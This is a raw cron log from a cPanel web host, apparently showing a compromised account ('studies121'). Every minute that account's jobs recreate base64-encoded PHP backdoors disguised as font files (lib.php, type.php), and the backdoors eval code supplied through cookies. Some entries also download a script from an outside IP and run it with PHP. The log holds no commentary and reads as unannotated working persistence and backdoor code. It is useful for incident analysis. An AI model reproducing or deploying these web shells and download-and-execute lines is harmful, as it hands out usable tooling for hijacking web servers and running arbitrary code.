Feb 22 07:50:01 ip-184-168-122-23 CROND[8160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:50:01 ip-184-168-122-23 CROND[8166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:50:01 ip-184-168-122-23 CROND[8165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:50:01 ip-184-168-122-23 CROND[8170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 07:50:01 ip-184-168-122-23 CROND[8168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:50:01 ip-184-168-122-23 CROND[8169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:50:01 ip-184-168-122-23 CROND[8172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:51:01 ip-184-168-122-23 CROND[8612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:51:01 ip-184-168-122-23 CROND[8614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:51:01 ip-184-168-122-23 CROND[8616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:51:01 ip-184-168-122-23 CROND[8619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:52:01 ip-184-168-122-23 CROND[8932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:52:01 ip-184-168-122-23 CROND[8934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:52:01 ip-184-168-122-23 CROND[8936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:52:01 ip-184-168-122-23 CROND[8937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:52:01 ip-184-168-122-23 CROND[8939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:53:01 ip-184-168-122-23 CROND[9254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:53:01 ip-184-168-122-23 CROND[9255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:53:01 ip-184-168-122-23 CROND[9256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:53:01 ip-184-168-122-23 CROND[9259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:54:01 ip-184-168-122-23 CROND[9578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:54:01 ip-184-168-122-23 CROND[9580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:54:01 ip-184-168-122-23 CROND[9581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:54:01 ip-184-168-122-23 CROND[9583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:54:01 ip-184-168-122-23 CROND[9582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:55:01 ip-184-168-122-23 CROND[9938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:55:01 ip-184-168-122-23 CROND[9937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:55:02 ip-184-168-122-23 CROND[9941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:55:02 ip-184-168-122-23 CROND[9944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:55:02 ip-184-168-122-23 CROND[9946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:55:02 ip-184-168-122-23 CROND[9947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:56:01 ip-184-168-122-23 CROND[10277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:56:01 ip-184-168-122-23 CROND[10279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:56:01 ip-184-168-122-23 CROND[10278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:56:01 ip-184-168-122-23 CROND[10280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:56:01 ip-184-168-122-23 CROND[10281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:57:01 ip-184-168-122-23 CROND[10633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:57:01 ip-184-168-122-23 CROND[10635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:57:01 ip-184-168-122-23 CROND[10638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:57:01 ip-184-168-122-23 CROND[10634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:58:01 ip-184-168-122-23 CROND[11043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:58:01 ip-184-168-122-23 CROND[11047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:58:01 ip-184-168-122-23 CROND[11048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:58:01 ip-184-168-122-23 CROND[11045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:58:01 ip-184-168-122-23 CROND[11046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:59:01 ip-184-168-122-23 CROND[11370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:59:01 ip-184-168-122-23 CROND[11369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:59:01 ip-184-168-122-23 CROND[11371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:59:01 ip-184-168-122-23 CROND[11372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:00:02 ip-184-168-122-23 CROND[11728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:00:02 ip-184-168-122-23 CROND[11727]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 08:00:02 ip-184-168-122-23 CROND[11732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:00:02 ip-184-168-122-23 CROND[11737]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:00:02 ip-184-168-122-23 CROND[11739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:00:02 ip-184-168-122-23 CROND[11736]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Feb 22 08:00:02 ip-184-168-122-23 CROND[11735]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 08:00:02 ip-184-168-122-23 CROND[11742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:00:02 ip-184-168-122-23 CROND[11734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:00:02 ip-184-168-122-23 CROND[11744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:01:01 ip-184-168-122-23 CROND[12098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:01:01 ip-184-168-122-23 CROND[12100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:01:01 ip-184-168-122-23 CROND[12102]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 08:01:01 ip-184-168-122-23 CROND[12103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 08:01:01 ip-184-168-122-23 CROND[12104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:01:01 ip-184-168-122-23 CROND[12105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12102]: starting 0anacron
Feb 22 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[12122]: finished 0anacron
